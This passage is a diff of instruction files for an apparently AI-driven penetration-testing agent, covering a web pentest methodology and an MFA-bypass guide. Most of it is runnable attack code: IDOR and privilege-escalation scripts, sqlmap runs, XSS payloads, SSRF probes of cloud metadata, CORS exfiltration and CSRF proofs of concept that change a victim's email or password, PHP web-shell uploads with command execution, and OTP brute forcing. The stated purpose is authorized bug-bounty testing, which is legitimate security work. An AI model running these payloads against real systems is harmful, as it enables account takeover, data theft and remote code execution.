"https://target.com/.well-known/jwks.json") +if [[ "$JWKS" != "" ]]; then + echo "${JWKS}" > /workspace/jwks.json + python3 /home/pentester/tools/jwt_tool/jwt_tool.py "${USER_TOKEN}" \ + -X k -pk /workspace/public_key.pem +fi +``` + +### User A Resource Population +Create resources as User A — record ALL resource IDs to /workspace/user_a_resources.md: +- Post/message/note with specific private content +- Uploaded file +- API key +- Any other object the application supports + +--- + +## Phase 3: Full Authenticated UI Exploration — HIGHEST PRIORITY + +### Complete Feature Discovery +FORBIDDEN to begin vulnerability testing before completing UI exploration. + +``` +For EVERY page, tab, and feature: +1. Screenshot initial state +2. Click every button, link, tab, menu item, dropdown, toggle +3. Open every modal, dialog, tooltip, drawer +4. Fill every form → submit → record HTTP request → add endpoint to checklist +5. Try both valid input and edge cases (empty, very long, special chars) +6. Capture all network requests via proxy +7. Add ALL newly discovered endpoints to /workspace/endpoint_checklist.md +``` + +### State-Changing Actions — Complete ALL +Execute through UI and capture full HTTP request/response for each: +1. Create a resource → IMMEDIATELY test IDOR with User B after creation +2. Edit a resource → test parameter injection in all editable fields +3. Delete a resource +4. Send a message to User B +5. Upload a file (images, documents, try various types) +6. Change profile (name, email, password, avatar, bio) +7. Generate API key or access token +8. Export data (CSV, PDF, ZIP) +9. Change privacy/security settings +10. Invite/share with another user + +After every creation action: immediately add the new resource URL to endpoint_checklist.md and test IDOR. + +### Admin Panel Discovery +```bash +for path in /admin /administrator /manage /panel /control /cp /backend \ + /cms /staff /internal /ops /superadmin /system /backstage; do + r=$(curl -so /dev/null -w "%{http_code}" -H "Cookie: ${USER_A_COOKIE}" \ + "https://target.com${path}") + echo "${path}: ${r}" +done ``` --- -## Phase 3: Authenticated UI Exploration (Highest Priority) +## Phase 4: Cross-User IDOR & Privilege Escalation -### Complete Feature Discovery via UI - -For every page, every tab, every modal in the application: -1. Click every button, link, and interactive element -2. Fill in every form with valid data and submit → record all HTTP requests -3. Interact with every dropdown, toggle, date picker, file input -4. Navigate to every route visible in the navigation -5. Trigger JavaScript events and observe state changes -6. Look for hidden features: right-click context menus, keyboard shortcuts, developer mode toggles - -### State-Changing Actions -Execute each of these completely through the UI: -- Create a new resource of every type the app supports -- Edit each resource (test all editable fields for injection) -- Delete a resource -- Send a message to User B -- Upload a file (test multiple file types) -- Change profile settings (name, email, password, avatar) -- Generate an API key or token (if available) -- Export data (CSV, PDF, ZIP) - -After EVERY creation: immediately test the new resource for IDOR with User B's session. - -### Admin Panel Attempt -Try accessing: /admin, /administrator, /manage, /panel, /control, /cp, /backend, /cms, /staff, /internal, /ops, /superadmin - ---- - -## Phase 4: Cross-User Attack Testing - -### IDOR Testing Protocol -For every object ID seen in any API request with User A's session: -1. Note the resource ID and URL -2. Switch to User B's session -3. Attempt to access/modify/delete that resource -4. **CRITICAL**: Check the response BODY — not just the status code -5. Mark as IDOR confirmed ONLY IF: User B retrieves actual private data belonging to User A +### IDOR Testing Protocol — Response Body Verification Required ```python -# IDOR test script -def test_idor(resource_url, resource_id, user_a_data, user_b_session): - resp = requests.get(f"{resource_url}/{resource_id}", - cookies={"session": user_b_session}) +import requests, json + +def test_idor_standard(resource_url, resource_id, user_a_data, user_b_cookie): + """ + Standard IDOR test with response body verification. - if resp.status_code == 200: - # Check if response contains User A's actual private data - body = resp.json() - if user_a_data["email"] in resp.text or user_a_data["name"] in resp.text: - print(f"CONFIRMED IDOR: {resource_url}/{resource_id}") - print(f"Leaked data: {body}") - return True + CRITICAL RULE: 200 OK is NOT proof of IDOR. + Proof = User B's response contains User A's ACTUAL private data fields. + """ + # Step 1: Know what User A's data looks like + print(f"\nTesting IDOR: {resource_url}/{resource_id}") + print(f"User A's identifying data: {user_a_data}") + + # Step 2: Access with User B's session + user_b_resp = requests.get( + f"{resource_url}/{resource_id}", + headers={"Cookie": f"session={user_b_cookie}"}, + ) + + print(f"User B HTTP Status: {user_b_resp.status_code}") + + if user_b_resp.status_code != 200: + print(f"✅ Properly blocked: {user_b_resp.status_code}") + return False + + body = user_b_resp.text + + # Step 3: Check if response contains User A's actual private data + for field, value in user_a_data.items(): + if str(value) in body: + print(f"✅ IDOR CONFIRMED: User B sees User A's '{field}': '{value}'") + + # Print raw HTTP evidence + print(f"\n--- COMPLETE RAW HTTP REQUEST (User B) ---") + print(f"GET {resource_url}/{resource_id} HTTP/1.1") + print(f"Host: target.com") + print(f"Cookie: session={user_b_cookie[:30]}... ← USER B'S SESSION") + + print(f"\n--- COMPLETE RAW HTTP RESPONSE ---") + print(f"HTTP/1.1 {user_b_resp.status_code} OK") + for h, v in user_b_resp.headers.items(): + print(f"{h}: {v}") + print(f"\n{body[:1000]}") + print(f"[Contains User A's {field}: '{value}' ← PROOF OF IDOR]") + + return True, {field: value}, body + + print(f"NOT IDOR: 200 OK but User A's private data NOT in response body") + print(f"Response preview: {body[:200]}") return False + +# Run for ALL User A resources × ALL HTTP methods +for resource_id, resource_url in load_user_a_resources().items(): + for method in ["GET", "PUT", "PATCH", "DELETE"]: + r = requests.request(method, + f"{resource_url}/{resource_id}", + headers={"Cookie": f"session={USER_B_COOKIE}", + "Content-Type": "application/json"}, + json={"data": "User B modification attempt"}) + print(f"{method} {resource_url}/{resource_id}: {r.status_code}") ``` ### Vertical Privilege Escalation -- Test every endpoint that returns 403 for User A with admin credentials -- Try accessing admin routes with User A's token -- Attempt role manipulation in request body: `"role":"admin"`, `"permissions":["admin"]` +```python +# Test admin endpoints with regular user session +admin_endpoints = ["/api/admin/users", "/api/admin/settings", "/api/admin/roles", + "/api/admin/impersonate", "/api/admin/logs"] + +for endpoint in admin_endpoints: + r = requests.get(f"https://target.com{endpoint}", + headers={"Cookie": USER_A_COOKIE}) + print(f"{endpoint}: {r.status_code}") + if r.status_code == 200: + print(f"⚠️ POTENTIAL PRIVILEGE ESCALATION: {endpoint} accessible by regular user") + print(f"Response: {r.text[:300]}") +``` --- @@ -152,156 +415,359 @@ def test_idor(resource_url, resource_id, user_a_data, user_b_session): ### SQL Injection ```bash -# Capture all authenticated requests via proxy, then feed to sqlmap -sqlmap -l /workspace/proxy_requests.txt --batch --level=3 --risk=2 \ - --technique=BEUST --dbms=mysql --output-dir=/workspace/sqlmap_results/ +# Automated scan +sqlmap -l /workspace/proxy_requests.txt \ + --batch --level=3 --risk=2 \ + --tamper=space2comment,between \ + --technique=BEUST \ + --output-dir=/workspace/sqlmap_results/ + +# Manual high-value targets +# Test login form, search, filter, sort, ID parameters ``` -Manual testing on high-priority endpoints: -- Login form, search, filter, sort parameters -- Any parameter that references a database record (user_id, order_id, product_id) -- JSON body parameters that look like database queries - -### XSS Testing -Test all inputs that reflect in response or get stored for later display: -- Profile fields (name, bio, username, location) -- Message/comment content -- Search queries -- File upload names -- Error message injection - -For every XSS candidate: confirm execution in browser, not just reflection in HTML source. - -### SSRF Testing -Test all URL-accepting inputs: +Time-based confirmation (5x required): ```python -ssrf_targets = [ - "http://169.254.169.254/latest/meta-data/", - "http://127.0.0.1/", - f"http://{interactsh_domain}/ssrf-test", # OOB confirmation - "http://metadata.google.internal/computeMetadata/v1/", - "file:///etc/passwd", -] +def confirm_time_based_sqli_5x(url, param, payload, normal_value): + times_normal, times_injected = [], [] + + for i in range(5): + import time, requests + t = time.time(); requests.get(url, params={param: normal_value}) + times_normal.append(time.time() - t) + + t = time.time(); requests.get(url, params={param: payload}) + times_injected.append(time.time() - t) + + import statistics + print(f"Normal times: {[f'{t:.2f}' for t in times_normal]} | avg={statistics.mean(times_normal):.2f}s") + print(f"Injected times: {[f'{t:.2f}' for t in times_injected]} | avg={statistics.mean(times_injected):.2f}s") + + if statistics.mean(times_injected) > statistics.mean(times_normal) + 4.5: + print("✅ TIME-BASED SQLI CONFIRMED (5x consistent delay)") + return True + return False ``` -### CORS Testing (SENSITIVE ENDPOINTS ONLY) -**IMPORTANT**: Test ONLY endpoints that return sensitive authenticated user data. - +### XSS — All Contexts with Browser Execution Confirmation ```python -# First: identify which endpoints return sensitive data +from playwright.sync_api import sync_playwright + +def test_xss_and_confirm(url, param, context="html_body"): + payloads = { + "html_body": '', + "attribute": '" autofocus onfocus="alert(document.domain)" x="', + "js_string": '"-alert(document.domain)-"', + "url": 'javascript:alert(document.domain)', + "svg": '', + } + + payload = payloads.get(context, payloads["html_body"]) + + # Step 1: Check if payload reflects unencoded + r = requests.get(url, params={param: payload}) + if payload in r.text: + print(f"Payload reflects unencoded in context: {context}") + + # Step 2: MANDATORY browser execution confirmation + with sync_playwright() as p: + browser = p.chromium.launch(headless=True) + page = browser.new_page() + executed = {"value": False} + + page.on("dialog", lambda d: ( + executed.__setitem__("value", True), + print(f"✅ XSS CONFIRMED: alert({d.message}) executed!"), + d.accept() + )) + + test_url = f"{url}?{param}={requests.utils.quote(payload)}" + page.goto(test_url, timeout=10000) + page.wait_for_timeout(3000) + browser.close() + + if not executed["value"]: + print("❌ Reflects in HTML source but DID NOT execute — NOT XSS, discarding") + return False + return True + else: + print(f"Payload encoded in response — NOT XSS") + return False +``` + +### SSRF — Progressive Testing +```python +# Test all URL-accepting parameters +url_params = find_url_parameters_from_proxy() + +for endpoint, param in url_params: + # Start with OOB DNS (confirms injection but = Low/Info only) + oast_url = f"http://{get_interactsh_id()}.oast.fun/ssrf-{param}" + r = requests.post(endpoint, json={param: oast_url}, + headers={"Cookie": USER_A_COOKIE}) + print(f"OOB test on {param}: {r.status_code}") + + # If any signal → escalate to cloud metadata + cloud_targets = [ + "http://169.254.169.254/latest/meta-data/", # AWS + "http://metadata.google.internal/computeMetadata/v1/", # GCP + "http://169.254.169.254/metadata/instance?api-version=2021-02-01", # Azure + ] + for target in cloud_targets: + r = requests.post(endpoint, json={param: target}, + headers={"Cookie": USER_A_COOKIE, + "Metadata-Flavor": "Google"}) # GCP requirement + if r.status_code == 200 and len(r.text) > 10: + print(f"✅ SSRF HIGH: Cloud metadata accessed via {param}") + print(f"Response: {r.text[:500]}") +``` + +### CORS — Sensitive Endpoints ONLY +```python +# Step 1: Find sensitive endpoints sensitive_endpoints = [] for endpoint in authenticated_endpoints: - resp = requests.get(endpoint, headers={"Cookie": user_a_cookie}) - body = resp.json() if resp.headers.get("content-type", "").startswith("application/json") else {} - if any(field in body for field in ["email", "phone", "address", "payment", "token", "key", "message"]): + r = requests.get(endpoint, headers={"Cookie": USER_A_COOKIE}) + if any(kw in r.text.lower() for kw in + ["email", "phone", "token", "key", "payment", "private", "message", "password"]): sensitive_endpoints.append(endpoint) + print(f"Sensitive: {endpoint}") -# Then: test CORS only on those sensitive endpoints +# Step 2: Test CORS ONLY on sensitive endpoints for endpoint in sensitive_endpoints: - resp = requests.get(endpoint, - headers={"Origin": "https://attacker.com", "Cookie": user_a_cookie}) - if resp.headers.get("Access-Control-Allow-Origin") == "https://attacker.com": - if resp.headers.get("Access-Control-Allow-Credentials") == "true": - # CORS is exploitable — demonstrate actual data theft - print(f"EXPLOITABLE CORS on sensitive endpoint: {endpoint}") + r = requests.get(endpoint, headers={ + "Cookie": USER_A_COOKIE, + "Origin": "https://attacker.com" + }) + acao = r.headers.get("Access-Control-Allow-Origin", "") + acac = r.headers.get("Access-Control-Allow-Credentials", "") + + if "attacker.com" in acao and acac.lower() == "true": + print(f"✅ EXPLOITABLE CORS: {endpoint}") + print(f"ACAO: {acao}, ACAC: {acac}") + # Build exfiltration PoC + poc = f'' + print(f"PoC: {poc}") ``` -Never test CORS on: public/unauthenticated endpoints, login/register/logout endpoints, static assets. +### CSRF — State-Changing Endpoints +```python +# Test each state-changing endpoint +state_changing_endpoints = [ + ("POST", "/api/user/change-email", {"email": "attacker@evil.com"}), + ("POST", "/api/user/change-password", {"new_password": "hacked123"}), + ("DELETE", "/api/user/account", {}), + ("POST", "/api/keys/generate", {"name": "attacker_key"}), +] -### CSRF Testing -For every state-changing action (email change, password change, payment, API key creation): -1. Remove the CSRF token from the request — does it succeed? -2. Use an empty CSRF token — does it succeed? -3. Use another user's valid CSRF token — does it succeed? -4. Build a cross-origin HTML form PoC if token check is missing - -### Authentication & Session Security -- JWT manipulation (none algorithm, weak secret, claim modification) -- OAuth state parameter CSRF -- Session invalidation after logout and password change -- Concurrent session behavior -- Remember-me token analysis +for method, endpoint, payload in state_changing_endpoints: + # Test 1: Remove CSRF token + r = requests.request(method, f"https://target.com{endpoint}", + json=payload, + headers={"Cookie": USER_A_COOKIE, + "Origin": "https://attacker.com", + "Referer": "https://attacker.com"}) + print(f"CSRF test {endpoint}: {r.status_code}") + + if r.status_code == 200: + # Build working PoC + poc_html = f""" + + +

+ +
+ + +""" + print(f"✅ CSRF CONFIRMED: Build PoC at attacker.com/poc.html") + print(poc_html) +``` ### File Upload Testing -For every upload endpoint: -1. Upload a PHP web shell with .php extension — does it execute? -2. Try extension bypasses: .php5, .phtml, .PHP, .php.jpg -3. Upload SVG with embedded XSS: `` -4. Upload HTML file: `` -5. Test path traversal in filename: `../../../../etc/passwd` -6. Test oversized files and unusual MIME types +```python +# Test every upload endpoint +def test_file_upload(upload_url, file_field, session_cookie): + test_files = [ + # Web shell bypass attempts + ("shell.php", b"", "image/jpeg"), + ("shell.php5", b"", "image/jpeg"), + ("shell.phtml", b"", "image/jpeg"), + ("shell.PHP", b"", "application/octet-stream"), + # SVG XSS + ("xss.svg", b'', "image/svg+xml"), + # HTML XSS + ("xss.html", b'', "text/html"), + # Path traversal in filename + ("../../../webroot/shell.php", b"", "image/jpeg"), + ] + + for filename, content, mime_type in test_files: + r = requests.post(upload_url, + files={file_field: (filename, content, mime_type)}, + headers={"Cookie": session_cookie}) + print(f"Upload {filename} ({mime_type}): {r.status_code}") + + # If upload succeeds, check if file is accessible and executable + if r.status_code in [200, 201]: + file_url = extract_file_url(r) + if file_url: + exec_test = requests.get(f"{file_url}?cmd=id") + if exec_test.status_code == 200 and "uid=" in exec_test.text: + print(f"✅ RCE VIA FILE UPLOAD: {file_url}") + print(f"Command execution: {exec_test.text[:200]}") +``` -### Business Logic Testing -- Skip steps in multi-step workflows (try to reach step 3 without completing step 1) -- Submit negative prices, zero quantities, extreme values -- Apply the same coupon/discount twice simultaneously (race condition) -- Test subscription bypasses: access premium features without paying +### Business Logic +```python +# Step skipping +def test_workflow_step_skipping(): + s = requests.Session() + s.cookies.set("session", USER_A_COOKIE) + + # Start at step 1 + r1 = s.post("https://target.com/api/checkout/start", + json={"cart_id": "CART_123"}) + print(f"Step 1 (cart): {r1.status_code}") + + # Skip straight to final confirmation + r_skip = s.post("https://target.com/api/checkout/confirm", + json={"cart_id": "CART_123", "payment": {"type": "skip"}}) + print(f"Skip to confirm: {r_skip.status_code}") + if r_skip.status_code == 200: + print("✅ WORKFLOW BYPASS: Order confirmed without payment!") -### Rate Limiting -Test all sensitive endpoints: -- Login: 200 rapid attempts — is it blocked? -- Password reset: 200 rapid requests — is it blocked? -- OTP verification: brute force OTP with 10000+ attempts -- API endpoints: what is the rate limit? Can it be bypassed with X-Forwarded-For rotation? +# Race condition test +async def test_race_condition_standard(url, payload, n=15): + import asyncio, aiohttp + async with aiohttp.ClientSession() as session: + results = await asyncio.gather(*[ + session.post(url, json=payload, + headers={"Cookie": USER_A_COOKIE}) + for _ in range(n) + ]) + statuses = [r.status for r in results] + from collections import Counter + print(f"Race condition ({n} simultaneous): {dict(Counter(statuses))}") + if Counter(statuses).get(200, 0) > 1: + print("⚠️ POSSIBLE RACE CONDITION: Multiple success responses") +``` --- ## Phase 6: Post-Logout Session Testing -After logging out User A: -- Attempt to use User A's old session cookie -- Attempt to use User A's JWT token -- Attempt to use User A's API key -- Document which tokens survive logout (vulnerability) vs which are properly invalidated +```python +# After logout: +requests.post("https://target.com/api/auth/logout", + headers={"Cookie": USER_A_COOKIE}) + +# Test all captured tokens +for token_type, token_value in [ + ("cookie", USER_A_COOKIE), + ("jwt", USER_A_JWT), + ("api_key", USER_A_API_KEY) +]: + r = requests.get("https://target.com/api/user/profile", + headers={"Cookie": token_value} if token_type == "cookie" + else {"Authorization": f"Bearer {token_value}"}) + + status = "VALID (VULNERABILITY)" if r.status_code == 200 else "properly invalidated" + print(f"{token_type} after logout: {r.status_code} — {status}") +``` --- ## Phase 7: Second-Pass Deepening -After all Phase 5 agents complete, review findings and spawn targeted second-pass agents: +After Pass 1 completes, use think tool to identify: +- Endpoints that returned anomalies but weren't fully exploited +- Endpoints that resisted basic techniques (try bypass techniques now) +- Endpoints discovered during testing that need testing -**For endpoints with partial signals of SQLi**: try advanced blind techniques, OOB DNS exfiltration -**For 403-returning privileged endpoints**: try HTTP method override, path normalization bypasses, header injection -**For file upload endpoints**: try polyglot files, null bytes, double extensions -**For SSRF hints**: try protocol variations (gopher, dict, file), redirect chains -**For race condition candidates**: use turbo intruder or Python asyncio with 50+ parallel requests -**For JWT with weak signatures**: try jwt_tool with comprehensive wordlists +Spawn Pass 2 agents for each area with instructions: +``` +"This is Pass 2. Pass 1 results: [summary]. + +Apply techniques NOT used in Pass 1: +1. WAF bypass: URL encoding, double encoding, comment injection +2. 403 bypass: X-Original-URL, X-Rewrite-URL, path normalization +3. Method override for blocked endpoints +4. Parameter pollution +5. Second-order injection on injection points that showed hints +6. JWT key confusion if RS256 is in use +7. More aggressive SSRF probing on any hint of SSRF" +``` --- -## Real Impact Gate — Mandatory Before Any Report +## Mandatory Real Impact Gate — Think Tool Required -Before spawning a reporting agent, the validation agent MUST confirm: +Before ANY vulnerability is reported, use the think tool to answer: -1. **"Is this vulnerability real?"** — Can you reproduce it 3 times in a row with the same result? -2. **"Does it have real impact?"** — What specific data is leaked or what unauthorized action is performed? -3. **"Is this a false positive?"** — Rule out: caching, encoding, design-intent, self-XSS, public-only CORS -4. **"Are there 2+ independent signals?"** — What are they? -5. **"Is the business impact clear?"** — Write the impact statement using specific data types and affected users +``` +1. Did I prove this end-to-end with tangible output? + - XSS: browser executed the payload (not just reflected) + - IDOR: User B's response body contains User A's actual private data field [quote it] + - SQLi: database version or table name extracted [quote it] + - SSRF: internal service accessed or cloud metadata retrieved [quote it] + - CSRF: state change completed cross-origin [show before/after state] -If ANY answer is uncertain → do NOT report. Investigate further. +2. Do I have TWO independent confirmation signals? + Signal 1: [specific evidence] + Signal 2: [independent evidence] + +3. Is this a false positive I should reject? + - CORS on non-sensitive endpoint → REJECT + - XSS reflecting but not executing → REJECT + - 200 OK from User B without User A's data → NOT IDOR, REJECT + - DNS-only SSRF → Low/Info ONLY + - Missing headers → Low/Info ONLY + +4. Is my raw HTTP evidence complete? + Complete request captured: YES/NO + Complete response captured: YES/NO + +5. Business impact: "An attacker can [SPECIFIC] which results in [SPECIFIC] affecting [SPECIFIC]" +``` --- -## Reporting Requirements +## Reporting Requirements — All 11 Sections + Raw HTTP -All reports must include all 11 mandatory sections: -1. Title (clear, professional, specific) -2. Severity with CVSS justification -3. Full UI reproduction steps (every click numbered) -4. Screenshots (before/after/proof) -5. Full raw HTTP request + response -6. Exact location (URL + parameter + UI path) -7. Working PoC (self-contained exploit code) -8. Validation section (2+ signals, alternatives ruled out) -9. Real business impact (specific, not generic) -10. Recommended fix with verification steps -11. References (OWASP, CWE, CVE) +Every vulnerability report via create_vulnerability_report MUST include in technical_analysis: + +``` +COMPLETE RAW HTTP REQUEST: +[METHOD] [PATH] HTTP/1.1 +Host: [target] +[ALL HEADERS] + +[COMPLETE BODY — ← VULNERABLE PARAMETER marked] + +COMPLETE RAW HTTP RESPONSE: +HTTP/1.1 [status] +[ALL HEADERS] + +[COMPLETE BODY — ← PROOF OF EXPLOITATION marked] +``` + +Missing the raw HTTP request or response = INCOMPLETE REPORT = DO NOT SUBMIT. --- -## Mindset +## Standard Mode Completion Checklist -Methodical. Thorough. Evidence-driven. No assumption is made that hasn't been tested. No finding is reported that hasn't been proven. Every endpoint gets attention. The UI is explored completely before any automated testing begins. - -Think like a senior bug bounty hunter on a paid engagement: quality over quantity, proof over speculation, impact over theory. +Before calling agent_finish, use think tool to verify ALL: +``` +[ ] All 8 phases completed +[ ] Both Pass 1 and Pass 2 completed +[ ] /workspace/endpoint_checklist.md updated for all tested endpoints +[ ] Every confirmed finding: 2+ independent signals +[ ] Every report: complete raw HTTP request AND response +[ ] Every report: all 11 mandatory sections +[ ] No false positives: DNS-only SSRF=Low, missing headers=Low, CORS on public=rejected +[ ] No XSS reported without browser execution +[ ] No IDOR reported without User A's data in User B's response +[ ] Business impact stated specifically for every finding +``` diff --git a/strix/skills/vulnerabilities/mfa_bypass.md b/strix/skills/vulnerabilities/mfa_bypass.md index 09dace26..2eb0524b 100644 --- a/strix/skills/vulnerabilities/mfa_bypass.md +++ b/strix/skills/vulnerabilities/mfa_bypass.md @@ -1,90 +1,390 @@ --- name: mfa_bypass -description: MFA bypass testing covering code reuse, brute force, response manipulation, and account recovery weaknesses +description: Elite MFA bypass testing — code reuse, brute force, response manipulation, flow skipping, backup code attacks, OTP context confusion, and mandatory real-impact exploitation with proof of authentication bypass --- -# MFA Bypass +# MFA Bypass — Full Authentication Bypass Testing -Multi-Factor Authentication can be circumvented through implementation weaknesses even when correctly integrated at the UI level. Always test MFA flows independently of the underlying authentication. +MFA bypass is a Critical/High severity finding when demonstrated end-to-end. The goal is not just to show a weakness exists — it is to PROVE you can authenticate as a victim user WITHOUT knowing their valid MFA code. Any bypass that requires only knowledge the attacker realistically has is reportable. + +**CRITICAL RULE: MFA bypass must be proven end-to-end. "The OTP endpoint lacks rate limiting" alone is not sufficient — you must demonstrate actual authentication bypass or actual brute force viability.** + +--- + +## Real Impact Gate — Answer Before Reporting + +1. **Did you successfully bypass MFA and authenticate as a user without their MFA code?** + ACCEPTABLE: "I skipped the MFA step and received a fully authenticated session token" + ACCEPTABLE: "I brute-forced the OTP in N requests and authenticated as the victim" + NOT ACCEPTABLE: "The OTP endpoint lacks rate limiting" (without demonstrating bypass) + +2. **What is the actual impact?** + - Complete authentication bypass → Critical + - Account takeover without victim interaction → Critical + - MFA brute-forceable in practice → High + - OTP reuse after single use → Medium (requires knowing a recent OTP) + +3. **Is a compensating control present?** + - Account lockout after N failed MFA attempts → reduces severity significantly + - CAPTCHA after N failures → reduces brute force viability + +--- ## Attack Surface -**Code Weaknesses** -- TOTP/OTP codes not invalidated after use (replay attack) -- Long validity windows (> 5 minutes for TOTP) -- No rate-limiting on OTP submission endpoint -- OTP transmitted in response body or URL +**Code Implementation Weaknesses:** +- TOTP/OTP not invalidated after successful use → replay attack +- Long validity window (> 30 seconds for TOTP, > 5 minutes for SMS OTP) +- OTP transmitted in HTTP response body or URL parameters +- Server-side OTP comparison susceptible to timing attacks -**Flow Weaknesses** -- MFA step skippable by directly navigating to post-auth URL -- Session token issued before MFA completion -- `mfa_verified` flag set client-side (response manipulation) -- Backup codes exposed in API response or account settings +**Flow/Authorization Weaknesses:** +- MFA step skippable by directly requesting a protected resource +- Session token issued with full privileges BEFORE MFA completion +- `mfa_verified`, `mfa_complete`, `require_mfa` flag checked client-side only +- Different authentication paths (API vs UI) with inconsistent MFA enforcement +- Mobile app flows with MFA enforcement weaker than web app -**Account Recovery Weaknesses** -- "Forgot MFA" flow bypasses MFA entirely with weak identity verification -- SMS OTP subject to SIM swapping -- Recovery codes not invalidated after use +**Rate Limiting Weaknesses:** +- No rate limiting on OTP submission endpoint +- Rate limit bypassable via X-Forwarded-For rotation +- Rate limit resets on new session creation +- No account lockout after N failed MFA attempts -## Testing Methodology +**Recovery Weaknesses:** +- "Forgot MFA" flow bypasses MFA with weak identity verification (security questions) +- SMS OTP → SIM swap attack vector +- Backup codes not invalidated after use +- Backup codes retrievable via API without re-authentication +- Admin-initiated MFA reset without proper verification -### Step 1 – OTP Replay -Submit a valid OTP, log out, log back in, and submit the same OTP again within the validity window. If it succeeds, codes are not invalidated after use. +**Context Confusion:** +- OTP submitted with different user_id than the one who initiated MFA +- OTP valid across multiple sessions (session ID not bound to OTP) +- OTP valid for multiple applications sharing the same TOTP secret -### Step 2 – Rate-Limit Test -Send OTP submission requests in rapid succession (50–200 requests): +--- + +## Testing Methodology — Complete All Steps + +### Step 1: MFA Flow Mapping +```python +# Before any bypass attempt, map the complete MFA flow +# Capture ALL HTTP requests during the MFA flow in proxy + +mfa_flow_requests = { + "step1_login": "POST /api/auth/login → receives session token (pre-MFA)", + "step2_mfa_challenge": "POST /api/mfa/send-code OR GET /api/mfa/totp-required", + "step3_mfa_verify": "POST /api/mfa/verify → {otp: '123456'}", + "step4_full_access": "GET /api/user/profile → should only work after step 3", +} + +# Key questions to answer: +# 1. Does step1 return a full session or a partial session? +# 2. Can you call step4 with the partial session from step1? +# 3. What happens if you skip step3 entirely? ``` -POST /api/mfa/verify -{"otp": "000000"} -... -{"otp": "999999"} -``` -If no lockout occurs after ~10 failures, brute force is possible. -### Step 3 – Response Manipulation -Intercept MFA verification response. If the response contains: -```json -{"success": false, "mfa_required": true} -``` -Modify to: -```json -{"success": true, "mfa_required": false} -``` -and check if the application grants access. +### Step 2: MFA Step Skipping (HIGHEST PRIORITY TEST) +```python +import requests -### Step 4 – Skip MFA Step -After completing step 1 (username/password), directly request a protected resource before submitting the OTP. If the session cookie already grants access, MFA is not enforced server-side. +def test_mfa_step_skipping(username, password, protected_endpoint): + """ + Test if MFA can be skipped entirely by using the pre-MFA session + to directly access protected resources. + + This is a Critical vulnerability if it works. + """ + # Step 1: Log in and get pre-MFA session + r1 = requests.post("https://target.com/api/auth/login", + json={"email": username, "password": password}) + + pre_mfa_session = r1.cookies.get("session") or \ + r1.json().get("token") or \ + r1.json().get("pre_mfa_token") + + print(f"Step 1 login: {r1.status_code}") + print(f"Pre-MFA session obtained: {'YES' if pre_mfa_session else 'NO'}") + print(f"Session value: {pre_mfa_session[:30] if pre_mfa_session else 'None'}...") + + # Step 2: WITHOUT completing MFA, try to access protected resource + r2 = requests.get( + f"https://target.com{protected_endpoint}", + headers={"Cookie": f"session={pre_mfa_session}", + "Authorization": f"Bearer {pre_mfa_session}"} + ) + + print(f"\nStep 2 — Access protected resource WITHOUT MFA: {r2.status_code}") + + if r2.status_code == 200: + print("✅ CRITICAL: MFA STEP SKIPPING CONFIRMED!") + print(f"Accessed {protected_endpoint} without completing MFA") + print(f"Response (first 500 chars): {r2.text[:500]}") + + # Print raw HTTP evidence + print(f"\n[COMPLETE RAW HTTP REQUEST]") + print(f"GET {protected_endpoint} HTTP/1.1") + print(f"Host: target.com") + print(f"Cookie: session={pre_mfa_session} ← PRE-MFA SESSION (MFA NOT COMPLETED)") + print(f"\n[COMPLETE RAW HTTP RESPONSE]") + print(f"HTTP/1.1 {r2.status_code} OK") + for h, v in r2.headers.items(): + print(f"{h}: {v}") + print(f"\n{r2.text[:1000]}") + print("[Contains protected data — accessed without MFA ← PROOF OF MFA BYPASS]") + return True + + print(f"Protected: {r2.status_code} — MFA step skipping not successful") + return False -### Step 5 – Backup Code Exposure +# Also test by navigating directly to the post-MFA URL in the browser +# (simulates an attacker who knows the post-login redirect URL) ``` -GET /api/account/mfa/backup-codes + +### Step 3: OTP Brute Force — Demonstrate Viability +```python +import asyncio, aiohttp, time +from collections import Counter + +async def test_otp_brute_force_viability(verify_url, session_cookie, start=0, end=9999): + """ + For 4-digit OTP: 10,000 codes. For 6-digit: 1,000,000 codes. + Test rate limiting AND account lockout. + + HIGH severity ONLY if: no rate limit AND no lockout → brute force is practically viable. + """ + test_codes = [str(i).zfill(4) for i in range(start, min(end, start + 200))] + + async def try_otp(session, code): + try: + async with session.post( + verify_url, + json={"otp": code}, + headers={"Cookie": f"session={session_cookie}"}, + timeout=aiohttp.ClientTimeout(total=10) + ) as r: + body = await r.text() + return code, r.status, body + except Exception as e: + return code, 0, str(e) + + print(f"Testing {len(test_codes)} OTP codes at {verify_url}") + print(f"Looking for rate limiting and lockout...") + + results = [] + async with aiohttp.ClientSession() as session: + # Test in batches of 10 (simulate rapid brute force) + for i in range(0, len(test_codes), 10): + batch = test_codes[i:i+10] + batch_results = await asyncio.gather(*[try_otp(session, code) for code in batch]) + results.extend(batch_results) + + statuses = Counter(r[1] for r in batch_results) + print(f"Batch {i//10+1}: {dict(statuses)}") + + # Check for rate limiting + if any(r[1] == 429 for r in batch_results): + print(f"RATE LIMIT DETECTED at batch {i//10+1} (attempt {i+10})") + print("Severity: LOW (rate limit present) unless it can be bypassed") + break + + await asyncio.sleep(0.1) + + status_distribution = Counter(r[1] for r in results) + print(f"\nFinal status distribution: {dict(status_distribution)}") + + blocked = status_distribution.get(429, 0) + status_distribution.get(403, 0) + if blocked == 0: + print("NO RATE LIMITING DETECTED") + # Now check account lockout + correct_otp_attempt = requests.post(verify_url, + json={"otp": "known_correct_otp"}, + headers={"Cookie": f"session={session_cookie}"}) + + if correct_otp_attempt.status_code not in [423, 429, 403]: + print("✅ HIGH: No rate limit AND no lockout — OTP brute force is FULLY VIABLE") + print(f"A 4-digit OTP can be brute forced in {10000/200:.0f} batches of 200 requests") + else: + print(f"Account locked after attempts: {correct_otp_attempt.status_code}") + print("LOW: Account lockout compensates — brute force not practically viable") + + return status_distribution + +asyncio.run(test_otp_brute_force_viability( + "https://target.com/api/mfa/verify", + "PRE_MFA_SESSION_COOKIE", + start=0, end=200 +)) ``` -Check if backup codes are returned in plaintext or if exhausted codes remain valid. -### Step 6 – Parameter Tampering +### Step 4: OTP Replay Attack +```python +def test_otp_replay(verify_url, pre_mfa_session, valid_otp): + """ + Test if an OTP that was already used can be reused. + Medium severity — requires attacker to know a previously used code. + """ + # First use — should succeed + r1 = requests.post(verify_url, + json={"otp": valid_otp}, + headers={"Cookie": f"session={pre_mfa_session}"}) + print(f"First OTP use: {r1.status_code}") + + if r1.status_code != 200: + print("First use failed — cannot test replay") + return False + + # Log out and start new pre-MFA session + requests.post("https://target.com/api/auth/logout") + new_session = login_and_get_pre_mfa_session() + + # 